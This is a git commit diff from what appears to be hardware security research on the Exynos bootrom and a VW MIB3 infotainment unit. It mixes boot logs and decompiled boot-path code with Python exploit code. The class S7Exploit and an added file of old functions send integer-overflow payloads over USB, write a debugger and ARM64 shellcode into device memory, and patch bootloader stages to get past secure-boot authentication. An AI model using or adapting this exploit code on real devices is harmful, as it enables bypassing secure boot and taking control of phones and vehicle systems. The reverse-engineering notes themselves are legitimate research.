Cleaning up code

This commit is contained in:
Jonathan Herrewijnen 2024-12-10 19:47:56 +01:00
parent d8163d1a15
commit da14253312
6 changed files with 488 additions and 306 deletions

View File

@ -165,61 +165,96 @@ Kibini
^^^^^^ ^^^^^^
Kibini is part of SBoot, and is probably extracteable Kibini is part of SBoot, and is probably extracteable
Wahrheit Wahrheit is visible after uboot (see boot logs from a normal/working MIB3 boot).
XEN logs XEN logs
^^^^^^^^^^ --------
Xen logs of a normal boot flow.
.. code:: bash .. code:: bash
<20><>Recovery mode [PASS] Succeed to load LDFW
=> Return value : 3oad LDFW => Return value : 3
S8=> Return value : 0 S8=> Return value : 0
Xen 4.8.0 Xen 4.8.0
[ 0.201928] [ 0.560934] [0: swapper/0: 1] Initramfs unpacking failed: junk in compressed archive
[wahrheit] Version: 0.2.7
[wahrheit] Build-ID: 765ac35fe6cda5bb5458f05858e77cc392034b3c2676bdb8783143fe43fb58fb
[ 0.757925] [ 1.116930] [2: esoinsmod: 1222] vbb xen-vbb: driver probed successfully(VBB : 20171226)
[ 0.761554] [ 1.120560] [2: esoinsmod: 1222] BQ buffer-queue: buffer-queue driver probed successfully(BUFQ : 20190322)
Done setting up Dom0
Parsing config from /vm/linux-ivi-vm/linux-ivi-vm_ufs_c3_a.cfg
svdm will be executed.
(XEN) [ 0.209091] [SB_ERR]Integrity check fail clk is applied
pinctrl is applied
vinput is applied
pcie is applied
pvusb is applied
SIGNATURE VALID OR UNIT NOT FUSED: 0xC9200000
SIGNATURE VALID OR UNIT NOT FUSED: 0xC1080000
(XEN) [ 0.209119] [SB_ERR]verify_signature: binary ID = [0x10], return = [0x50E01] (DU1) [ 0.389911] [ 3.030438] Initramfs unpacking failed: junk in compressed archive
(XEN) [ 0.209128] Dom[1] Fail to auth the dtb binary, ret:331265 (DU1) [ 0.505209] [ 3.145737] vbufq vbufq-0: vbufq_fe_probe: probed success. nodename(device/vbufq/0), ver(VBQ : 20170824)
(XEN) [ 0.209565] Dom[0] 2th, load kernel binary at 0000000081280000, 0000000000100000 (DU1) [wahrheit] Version: 0.2.7
(XEN) [ 0.211313] Static RAM[00000008c0000000 ~ 000000097a000000] -> guest address [00000008c0000000 ~ 000000097a000000] (DU1) [wahrheit] Build-ID: 765ac35fe6cda5bb5458f05858e77cc392034b3c2676bdb8783143fe43fb58fb
(XEN) [ 0.226360] (XEN) [ 3.309333] mm.c:1523:d0v0 gnttab_mark_dirty not implemented yet
(XEN) [ 0.226360] **************************************** (DU1) RUNMODE=normal
(XEN) [ 0.233678] Loading dom initrd from 0000000089200000 to 0x0000000089200000-0x0000000089340000 (DU1) ESO_SKU=177811101011100000
(XEN) [ 0.237909] Dom[0] 3th, load kernel binary at 0000000081380000, 0000000000100000 (DU1) SOC_SKU=003-00000-0307-011
Buildname = CL33_MIB3H_AU_ER_G4x_2002403PROD
HW_REV = 011
(XEN) [ 0.245791] DOM RAM Popluation of the pre-assigned range done. unassigned mem:0x 0000000000000000 Bytes (DU1) scandir: No such file or directory
INIT DONE
DAEMON: [DM Ver] omx(1.0).date(191118).hv2.2-1946.2-PR47.2
(XEN) [ 0.253771] Panic on CPU 7: (DU1) INIT DONE
CHALLENGE [INFO] : Started.
(XEN) [ 0.263057] Allocating PPI 16 for event channel interrupt (DU1) CHALLENGE [INFO] : Started.
OOC 4.25.6-DEVELOPMENT
[OOC:INF] OocApplication: All files already present.
[OOC:INF] StartupManager
[OOC:INF] SuspendNotifyClient: Connected
[OOC:INF] OocApplication: run
[OOC:INF] RunmodeMgr: Invalid MMX boot index found: -> assume A
[OOC:INF] rstp init frame: c4 80 80 80
[OOC:INF] RSTP init frame: RSC reports boot path: boot path A
[OOC:INF] Systemstate: Runmode updated: normal
[OOC:INF] SystemState: Request delay: 'Online Delay' = '1'
[OOC:INF] AsiOocPwrman started successfully
[OOC:INF] SystemState: Power State: MMI_STANDBY_PWR_SAVE_2, reason: 0x0
[OOC:INF] SystemState: Clamp States: Clamp S: 0, Clamp 15: 0
[OOC:INF] SystemState: Display State: display1: 0
[OOC:INF] SystemState: Display State: display2: 0
[OOC:INF] AsiPersistenceClient: sizes: 1, 1
[OOC:INF] AsiPersistenceClient: alive
[OOC:INF] AsiPersistenceClient: S2R: active
[OOC:INF] SystemState: S2R enabled: 1 (changed: 1)
[OOC:INF] Startup: Timer running (init: 118569 ms)
[OOC:INF] SystemState: ZR Active (Startup): 1 (changed: 1)
[OOC:INF] SystemState: Sent ZrActive request: 1
[AIO:ERR] epoll_ctl: add of file descriptor failed: File exists
CURRENT BOOTCYCLE (SYS): 615
[OOC:INF] AsiOoclClient: Proxy alive
[OOC:INF] AsiOoclClient: Proxy alive: state: true
[OOC:INF] SystemState: Updated 'IVI is running': 1
tracing fsid is NOT available (state -1 | listsize 8 | FOD 2 | EL 0/0 | B2109BAD6D)
[OOC:INF] AsiServiceMgr: Startup Finished from Service Manager
[OOC:INF] SystemState: Startup Finished on SYS
[OOC:INF] AsiPwrman: MMXEVENT_ETHERNET_PHONE: app 2, state: 1
[OOC:INF] SystemState: PmouMmxEventEthernetPhone changed: 1
tracing fsid is NOT available (state -1 | listsize 8 | FOD 2 | EL 0/0 | B2109BAD6D)
(XEN) [ 0.274424] Dom[0] 4th, load kernel binary at 0000000081480000, 0000000000100000 (DU1) [ 18.191454] [ 20.831982] Call trace:
(XEN) [ 0.284998] Fail to auth the dtb binary
(XEN) [ 0.291690] Loading dom0 DTB to 0x0000000089000000-0x000000008901e99e dtb_virt:0x0000000089000000
(XEN) [ 0.302564] Dom[0] 5th, load kernel binary at 0000000081580000, 0000000000100000
(XEN) [ 0.303995] ****************************************
(XEN) [ 0.303995]
(XEN) [ 0.313722] ___Dom0 construction done___
(XEN) [ 0.324977] Dom[0] 6th, load kernel binary at 0000000081680000, 0000000000100000
(XEN) [ 0.329844] Reboot in five seconds...
(XEN) [ 0.346093] Dom[0] 7th, load kernel binary at 0000000081780000, 0000000000100000
(XEN) [ 5.365817] exynos8890: keep scratch, 0xd (shutdown_code: 3)

View File

@ -0,0 +1,166 @@
MIB3 boot chain
---------------
Normal boot flow log. If I am correct here, the boot flow from recovery and when going into uboot is not as different. The only slight difference is, that low-level, the SMC handler seems to know what boot path it is taking. The main boot function, at ``0xcf000028`` eventually goes into a function at ``0xcf05e218``. One of the first things this function does, is getting information from an address space at ``0xcf4dfb28`` (32 bytes long) using a function at ``0xcf05e5d0``. The values here are set somewhere during the boot process from U-Boot, as the contents before booting U-boot are empty (FFFF space). The only value not taken from BL33 space, is one taken from ``0x0206f800``. Some other information is also retrieved from ``0x136d0184`` using a function at ``0xcf053f60``. What is annoying here, is that these spaces in lower memory range, are only readable after booting the recovery mode once. Currently, after doing one failed boot, the MIB3 returns to the debugger (we set the LR, and it just returns). We can then again try to boot 'normally', but this always fails. (interestingly, the logs then fail on secure payload)
.. code:: bash
Recovery mode
[ERROR] Fail to load LDFW
=> Return value : -1
LDFX init status=> Return value : -1
[ERROR] Fail to load Secure payload
=> Return value : -.
Function that determines boot path (Recovery or otherwise). The function at ``is_not_first_boot_option_Q`` returns a boolean, which can be altered. The MIB3 then goes into a GPT not found panic.
.. code:: bash
void recovery_mode_Q_smc_0xFA(void) {
undefined8 uVar1;
int iVar2;
uint uVar3;
int iVar4;
hw_info_boot_path *phVar5;
undefined4 uStack_4000c;
long lStack_40008;
undefined4 uStack_40000;
undefined4 uStack_3fffc;
uint uStack_3ffd4;
uint uStack_3ffd0;
uStack_4000c = 0;
lStack_40008 = 0;
phVar5 = get_hw_info_boot_path_Q();
_DAT_14cc0000 = 0x220000;
DAT_14c30000 = 3;
DAT_14c30004 = 0x3c5;
DAT_14c30008 = 0x117;
DAT_14c30028 = 0x46;
DAT_14c3002c = 9;
_DAT_14cc0100 = 0x220000;
DAT_14c10000 = 3;
DAT_14c10004 = 0x3c5;
DAT_14c10008 = 0x117;
DAT_14c10028 = 0x46;
DAT_14c1002c = 9;
DAT_0206f870 = 0x101;
/* bl, 0xcf053fa8 */
iVar2 = is_not_first_boot_option_Q();
/* we see this on uart when doing usb recovery
cbz, w0,0xcf05e330 */
if (iVar2 != 0) {
uart_print_retval_Q(s_Recovery_mode_cf08aa4b,0);
uStack_40000 = load_LDFW_Q(phVar5->ldfw_part_id);
uart_print_retval_Q(s_LDFW_init_status_cf08aa59,&uStack_40000);
load_secure_payload_Q(phVar5->sec_os_part_id);
uart_print_retval_Q(s_Secure_OS_loaded_cf08aa6a,0);
_DAT_d9000100 = 0;
goto LAB_cf05e304;
}
uVar3 = get_MIB3_MMX_version_B1_B2();
if (uVar3 < 6) {
uVar3 = _DAT_10580004 & 8;
LAB_cf05e34c:
if (uVar3 == 0) goto LAB_cf05e304;
}
else if (uVar3 == 6) {
uVar3 = _DAT_10580024 & 1;
goto LAB_cf05e34c;
}
lStack_40008 = do_smc(0xffffffffffffff06,0,0,0);
if (lStack_40008 != 0) {
uart_print_retval_Q(s_[ERROR]_Fail_to_load_GPT_cf08aa7b,&lStack_40008);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
FUN_cf05dd00(0x5200);
if (((DAT_105c0404 & 0x11800000) == 0) || (_DAT_d9000100 != 0xd)) {
uVar3 = 0;
}
else {
uVar3 = 1;
_DAT_d9000100 = 0;
}
load_LDFW_Q(phVar5->ldfw_part_id);
iVar2 = custom_otp_read_warranty_Q();
load_secure_payload_Q(phVar5->sec_os_part_id);
do_smc_0xFB_MIBCERT_Q(&uStack_40000);
if (((CONCAT44(uStack_3fffc,uStack_40000) == 0x5452454342494d) &&
(iVar4 = do_smc_0x101d(0,&uStack_40000,0x40000), iVar4 == 0)) &&
(iVar4 = FUN_cf05e098(&uStack_40000), iVar4 != 0)) {
iVar4 = do_smc_0xFB();
if (((uint)(iVar4 == 1) & uStack_3ffd0 >> 0x1d & 1 & uVar3) != 0) {
uart_print_retval_Q(s_Ramdump_mode_detected,_certifica_cf08aa96,0);
goto LAB_cf05e304;
}
if ((iVar2 == 0) && ((uStack_3ffd4 & 0x60000000) != 0)) {
FUN_cf05e1e4();
}
}
else {
iVar4 = 0;
uStack_3ffd4 = 0;
uStack_3ffd0 = 0;
}
do_smc_0xFB(phVar5->hyp_part_id,&hypervisor,s_[ERROR]_Fail_to_load_Hypervisor_cf08aabf);
FUN_cf05dd00(0x5500);
if (hypervisor != 'M') {
return;
}
if (DAT_80200001 != 'Z') {
return;
}
do_smc_0xFB(phVar5->dtb_part_id,&dtb,s_[ERROR]_Fail_to_load_DTB_cf08aae1);
FUN_cf05dd00(0x5600);
uVar3 = uStack_3ffd4 & 0x80;
if ((uStack_3ffd4 >> 2 & 1) == 0) {
do_smc_0xFC_fail_hang(&hypervisor,phVar5->hyp_part_id,0);
}
if (uVar3 == 0) {
do_smc_0xFC_fail_hang(&dtb,phVar5->dtb_part_id,1);
}
lStack_40008 = do_smc(0xfffffffffffff8ff,0,0,0);
if (lStack_40008 == 0) {
uart_print_retval_Q(s_[ERROR]_Fail_to_disable_CP_cf08aafc,&lStack_40008);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
/* This is printed on regular bootflow, not on recovery? */
uart_print_retval_Q(s_S8_cf08ab19,&uStack_4000c);
FUN_cf05dd00(0x5c00);
watchdog_Q = watchdog_Q & 0xffffffde;
FUN_cf05dd00(0);
uVar1 = 0xdead;
if (iVar4 == 0) {
uVar1 = 0;
}
_DAT_d9000100 = 0xd;
jump_to_hypervisor_Q
(phVar5->kerneldom0_part_id,phVar5->dtb_domu1_part_id,phVar5->kerneldomou1_part_id,
phVar5->field5_0x14,phVar5->field8_0x20,phVar5->emmc0_ufs1,
CONCAT44(uStack_3ffd0,uStack_3ffd4),uVar1);
LAB_cf05e304:
watchdog_Q = watchdog_Q & 0xffffffde;
return;
}
Another option is to manually continue the bootflow by jumping into the function at ``0xcf05dd00``, but this then prints the following, but does not continue the boot flow. Retrospecitvely, I did not explicitly check the link register (which is very likely important here..). But, the normal boot does not print the information below.
.. code:: bash
U-Boot 2012.07-gc7c41ec14-dirty (Oct 23 2019 - 12:53:04) for SADK8890
CPU: Exynos8890 Rev2.0 [Samsung SOC on SMP Platform Base on ARM CortexA53]
MNGS_PLL = 1975MHz APOLLO_PLL = 1481MHz MIF_PLL = 1539MHz
BUS0_PLL = 1056MHz BUS1_PLL = 800MHz BUS2_PLL = 672MHz BUS3_PLL = 1872MHz
MFC_PLL = 71MHz AUD_PLL = 494MHz G3D_PLL = 650MHz DISP_PLL = 63MHz
Board: SADK8890
DRAM: 6 GiB
ECT: PARA006o

View File

@ -291,19 +291,4 @@ If jumping into the boot BL33 function twice, the LDFW returns -. at the second
[ERROR] Fail to load Secure payload [ERROR] Fail to load Secure payload
=> Return value : -. => Return value : -.
When continuing the boot flow by jumping into cf0052f8 after recovery boot
.. code:: bash
U-Boot 2012.07-gc7c41ec14-dirty (Oct 23 2019 - 12:53:04) for SADK8890
CPU: Exynos8890 Rev2.0 [Samsung SOC on SMP Platform Base on ARM CortexA53]
MNGS_PLL = 1975MHz APOLLO_PLL = 1481MHz MIF_PLL = 1539MHz
BUS0_PLL = 1056MHz BUS1_PLL = 800MHz BUS2_PLL = 672MHz BUS3_PLL = 1872MHz
MFC_PLL = 71MHz AUD_PLL = 494MHz G3D_PLL = 650MHz DISP_PLL = 63MHz
Board: SADK8890
DRAM: 6 GiB
ECT: PARA006o
I dumped the contents of 0xcf4dfb28 to 60, which is a boot path information setter. Something in BL33 is setting this, because it is still empty (0xFF) after booting into BL2 and waiting for BL33. I dumped the contents of 0xcf4dfb28 to 60, which is a boot path information setter. Something in BL33 is setting this, because it is still empty (0xFF) after booting into BL2 and waiting for BL33.

View File

@ -0,0 +1 @@
name,type,address,length
1 name type address length

View File

@ -19,9 +19,6 @@ TARGET_OFFSETS = {
"8895": (0x02021800, 0x02020F18, 0x02070000) "8895": (0x02021800, 0x02020F18, 0x02070000)
} }
# Set libusb to debug mode
def wait_for_device(): def wait_for_device():
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None: while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
pass pass
@ -47,39 +44,6 @@ class S7Exploit(ExynosDevice):
assert(res == 0) assert(res == 0)
return transferred.value return transferred.value
def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
def test_bug(self):
"""Verify bug existence"""
# Start by sending a valid packet
# Integer overflow in the size field
# unk + size + payload + header
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
print(hex(self.send_empty_transfer()))
print('Bug probably available')
sys.exit(0)
def send_normal_stage(self, payload): def send_normal_stage(self, payload):
"""Send next boot stage to the device""" """Send next boot stage to the device"""
@ -181,9 +145,6 @@ class S7Exploit(ExynosDevice):
return return
def setup_concrete_device(self, concrete_device : ConcreteDevice): def setup_concrete_device(self, concrete_device : ConcreteDevice):
#Setup architecture #Setup architecture
concrete_device.arch = QL_ARCH.ARM64 concrete_device.arch = QL_ARCH.ARM64
@ -315,171 +276,6 @@ class S7Exploit(ExynosDevice):
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
def dumb_interact(self, dump_imems=False):
'''
Room for playing around with the debugger on the phone.
'''
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
def first_debugger():
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
self.cd.memwrite_region(0x2069000, debugger)
self.cd.restore_stack_and_jump(0x2069000)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
# self.relocate_debugger()
DEBUGGER_ADDR = 0x2069000 #0x020c0000
### Get whereabouts of the debugger and current processor state
logger.debug('State after relocating debugger')
self.cd.arch_dbg.state.print_ctx()
def memdump_imem():
"""
Dumps the internal memory of the device (0x2020000 - 0x2070000).
"""
dumped = b""
for block in range(0x2020000, 0x2070000, 0x200):
# print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
return dumped
AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000):
# Load the firmware
self.cd.arch_dbg.state.X0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
BOOT_BL1 = 0x00019310 # Location of the boot function
def boot_bl1(lr=0x2069000):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# Always hijack rom_usb_download function:
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
self.usb_write(b"FLSH") # Flush cache, as Frederic does
self.cd.test_connection()
auth_bl1(DEBUGGER_ADDR)
# boot_bl1(DEBUGGER_ADDR)
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
jump_bl1(DEBUGGER_ADDR)
# Returns on usb_download function
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.arch_dbg.state.print_ctx()
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl31)
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
self.cd.arch_dbg.state.X0 = 0
self.cd.restore_stack_and_jump(0x020219c8)
pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08)
# Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
# Patch stupid error function
# self.usb_write(b"FLSH") # Flush cache
# Download next stage?
lr = self.cd.arch_dbg.state.LR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
pass
# Overwrite jump back to the debugger from functions encountered during jump_bl1
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird():
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
self.cd.restore_stack_and_jump(0x00000314)
jump_bl1(0x020c0000)
def handle_weird_brom():
while True:
try:
resp = self.usb_read(0x200)
logging.debug(f'Within jump_bl1. Response: {resp}.')
if self.cd.arch_dbg.state.LR == 0x02022948:
break # ROM will load next stage over USB
hijack_brom_weird()
except Exception as e:
pass
handle_weird_brom()
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
# self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs()
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
self.cd.arch_dbg.state.X0 = 1
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x00000314)
pass
### UXN and PXN seem to be present over the USB stack (02021800+)
shellcode = f"""
ldr x0, debugger_addr
blr x0
debugger_addr: .quad 0x02022000
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x2021800, shellcode)
self.cd.jump_to(0x2021800)
pass
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate
auth_bl1(0x020c0000)
# Jump to bl31
jump_bl1(0x02021800)
pass
# VERY OLD
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)
def disable_mmu(self, address=0x02060000): def disable_mmu(self, address=0x02060000):
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY ================= # ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
# Disable MMU and branch to 0x02048000 # Disable MMU and branch to 0x02048000
@ -754,38 +550,6 @@ class S7Exploit(ExynosDevice):
# Deconstruct every 4 bytes in bl33, and if it is a branch link to 0xcf0172dc, then try to modify it to be a proper branch link to 0xcf05dd6c # Deconstruct every 4 bytes in bl33, and if it is a branch link to 0xcf0172dc, then try to modify it to be a proper branch link to 0xcf05dd6c
# Initialize Capstone disassembler for ARM64 # Initialize Capstone disassembler for ARM64
if False:
md = Cs(CS_ARCH_ARM64, CS_MODE_ARM)
# Assuming bl33 is already loaded as raw bytes from the binary
for i in tqdm.tqdm(range(0, len(bl33), 4)):
fourbytes = bl33[i:i+4] # 4-byte chunk for disassembly
# Disassemble the 4-byte instruction
for insn in md.disasm(fourbytes, i):
if insn.mnemonic == "bl":
try:
# Extract the immediate value from the operand string (e.g., #0x5d924)
# Remove the '#' and convert it to an integer
target_address = int(insn.op_str.strip('#'), 16) + 0xcf000000
except ValueError:
# If the offset can't be parsed, skip to the next instruction
continue
# Check if it is a branch to the address 0xcf0172dc
if target_address == 0xcf047474:
print(f"Found bl to 0xcf02b54c at {hex(i)}. Modifying..")
# Calculate the new offset for the branch link to 0xcf05dd6c
new_target_address = 0xcf0172dc
new_offset = new_target_address# - (i + 4) # PC-relative offset calculation
# Create the new BL instruction with the updated offset
# ARM64 branch instruction uses a 26-bit signed immediate, packed into a 4-byte instruction
new_bl_instruction = struct.pack('<I', new_offset) # Pack as a 32-bit value
# Modify the branch link instruction in the binary
bl33 = bl33[:i] + new_bl_instruction + bl33[i+4:]
self.send_normal_stage(bl33) # Never return/completes self.send_normal_stage(bl33) # Never return/completes
self.connect_device() self.connect_device()
@ -868,10 +632,6 @@ class S7Exploit(ExynosDevice):
# Try to continue the bootflow # Try to continue the bootflow
self.cd.restore_stack_and_jump(0xcf0052f8) self.cd.restore_stack_and_jump(0xcf0052f8)
# NOT WORKING
self.read_ufs(DEBUGGER_ADDR)
pass pass
@ -894,22 +654,26 @@ class S7Exploit(ExynosDevice):
return return
def read_ufs(self, DEBUGGER_ADDR): def replace_functions(binary, fun_to_replace=0xcf047474, replacing_fun=0xcf0172dc, base=0xcf000000):
""" """
Read UFS Initially written to replace any print function that did not print to UART to then print to UART (worked surprisingly, but did not print a lot of extra info.. (boot path)).
Argument structure is: param1, param2[]. With param2 being the cmd list
param1 = offset
""" """
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR for i in tqdm.tqdm(range(0, len(binary), 4)):
ufs_read_addr = 0xcf00eaf4 fourbytes = binary[i:i+4]
self.cd.arch_dbg.state.X0 = 0x0
self.cd.arch_dbg.state.X1 = 0x1
self.cd.restore_stack_and_jump(ufs_read_addr)
time.sleep(1) for insn in cs.disasm(fourbytes, i):
self.connect_device() if insn.mnemonic == "bl":
pass try:
target_address = int(insn.op_str.strip('#'), 16) + base
except ValueError:
continue
if target_address == fun_to_replace:
print(f"Found bl to 0xcf02b54c at {hex(i)}. Modifying..")
new_target_address = replacing_fun
new_offset = new_target_address
new_bl_instruction = struct.pack('<I', new_offset) # Pack as a 32-bit value
binary = binary[:i] + new_bl_instruction + binary[i+4:]
if __name__ == "__main__": if __name__ == "__main__":

View File

@ -0,0 +1,231 @@
import sys, libusb1, ctypes, struct
BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
"8895": (0x02021800, 0x02020F18, 0x02070000)
}
ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2
def p32(x):
return struct.pack("<I", x)
def p8(x):
return struct.pack("<B", x)
def p16(x):
return struct.pack("<H", x)
def p64(x):
return struct.pack("<Q", x)
def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
def test_bug(self):
"""Verify bug existence"""
# Start by sending a valid packet
# Integer overflow in the size field
# unk + size + payload + header
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
print(hex(self.send_empty_transfer()))
print('Bug probably available')
sys.exit(0)
def dumb_interact(self, dump_imems=False):
'''
Room for playing around with the debugger on the phone.
'''
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
print('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
def first_debugger():
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
self.cd.memwrite_region(0x2069000, debugger)
self.cd.restore_stack_and_jump(0x2069000)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
# self.relocate_debugger()
DEBUGGER_ADDR = 0x2069000 #0x020c0000
### Get whereabouts of the debugger and current processor state
print('State after relocating debugger')
self.cd.arch_dbg.state.print_ctx()
def memdump_imem():
"""
Dumps the internal memory of the device (0x2020000 - 0x2070000).
"""
dumped = b""
for block in range(0x2020000, 0x2070000, 0x200):
# print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
return dumped
AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000):
# Load the firmware
self.cd.arch_dbg.state.X0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
BOOT_BL1 = 0x00019310 # Location of the boot function
def boot_bl1(lr=0x2069000):
